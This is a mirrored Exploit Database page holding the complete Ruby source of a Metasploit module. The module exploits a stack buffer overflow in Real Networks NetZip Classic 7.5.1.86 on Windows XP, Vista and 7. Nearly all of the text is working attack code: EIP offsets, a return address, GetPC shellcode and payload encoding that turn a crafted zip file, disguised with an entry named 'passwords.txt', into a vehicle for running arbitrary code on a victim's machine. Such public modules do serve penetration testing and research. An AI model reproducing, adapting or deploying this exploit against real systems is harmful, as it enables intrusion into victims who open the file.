Real Networks Netzip Classic 7.5.1 86 – File Parsing Buffer Overflow (Metasploit)

• Exploit Database
• 50 阅读

• 作者： Metasploit
  日期： 2011-10-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17985/

• ##
  # $Id: real_networks_netzip_bof.rb 13952 2011-10-16 15:47:04Z todb $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'rex/zip'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow vulnerability in
  				version 7.5.1 86 of Real Networks Netzip Classic.
  				In order for the command to be executed, an attacker must convince someone to
  				load a specially crafted zip file with NetZip Classic.
  				By doing so, an attacker can execute arbitrary code as the victim user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'C4SS!0 G0M3S', # Vulnerability discovery and original exploit
  					'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
  				],
  			'Version'=> '$Revision: 13952 $',
  			'References' =>
  				[
  					[ 'BID', '46059' ],
  					[ 'URL', 'http://proforma.real.com' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/16083/' ],
  				],
  			'Platform'=> [ 'win' ],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload' =>
  				{
  					'Space' => 1000,
  					'BadChars'=> Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
  					'DisableNops' => true,
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'ESI'
  						}
  				},
  			'Targets'=>
  				[
  					[
  						'Windows XP SP3',
  						{
  							'Offset' => 247,# To EIP
  							'Ret'=> 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
  							'Max'=> 2000, # Max buffer size
  						}
  					],
  
  					[
  						'Windows 7/Windows Vista',
  						{
  							'Offset' => 248,# To EIP
  							'Ret'=> 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
  							'Max'=> 2000, # Max buffer size
  						}
  					],
  				],
  			'DisclosureDate' => 'Jan 30 2011',
  			'DefaultTarget'=> 0))
  
  			register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
  				OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']),
  			], self.class)
  
  	end
  
  	def exploit
  
  		buffer = "#{datastore['CONTENTNAME']}"
  		buffer << ' ' * (target['Offset']-buffer.length)
  		buffer << [target.ret].pack('V')
  		buffer << make_nops(8)
  
  		# GetPC - Non ascii characters get converted
  		buffer << "\x89\x05" #jmp short (5 bytes) to 'jmp back' at end
  		buffer << "\x5e" #pop esi
  		buffer << "\x41" #nop (inc ecx)
  		buffer << "\x98\x99" #call esi
  		buffer << "\x41" #nop (inc ecx)
  		buffer << "\x8a\x94\x98\x98\x98"#jmp back to pop esi
  		buffer << payload.encoded
  		buffer << rand_text_alpha(target['Max']-buffer.length)
  
  		zip = Rex::Zip::Archive.new
  		xtra = [0xdac0ffee].pack('V')
  		comment = [0xbadc0ded].pack('V')
  		zip.add_file(buffer, xtra, comment)
  
  		# Create the file
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  
  		file_create(zip.pack)
  	end
  
  end